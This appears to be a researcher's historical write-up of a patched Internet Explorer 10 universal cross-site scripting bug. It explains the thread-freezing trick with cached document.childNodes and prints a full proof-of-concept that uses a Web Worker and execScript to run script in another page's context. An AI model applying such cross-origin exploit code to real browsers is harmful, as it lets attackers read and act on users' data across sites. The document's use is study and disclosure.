IE10 UXSS via Cached childNodes and New Thread

After the previous document.all variation, I tried the same threading trick with document.childNodes. A prior bug using this collection had been patched for Win8 RTM, but the Web Worker thread approach brought it back. The mechanics are nearly identical: cache the collection, freeze the modeless thread with an alert, and access from the worker.

var thread = new Worker('worker.js');
thread.onmessage = function(event) {
    try {
        // The first time fails...
        _childNodes[0].ownerDocument;
    } catch (e) {
        // But the second time, it works!
        _childNodes[0].ownerDocument.parentWindow.execScript('alert(document.URL + "\n" + document.body.innerText)');
    }
}

function main() {
    var win = showModelessDialog("redirect.aspx", window, "dialogwidth=400px;dialogHeight=300px");

    var strCode = 'dialogArguments._childNodes = document.childNodes;' +
                  'alert("Please, don\'t close this alert yet");';
    win.setTimeout(strCode);
    thread.postMessage(1);
}

The modeless stores document.childNodes as _childNodes on the parent window object, then halts its own thread with an alert while the redirect happens in the background. The worker fires after three seconds. Accessing _childNodes[0].ownerDocument the first time throws; the second attempt succeeds and allows arbitrary script execution in the context of the redirected URL. Tested on Win8 RTM IE10 Desktop.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.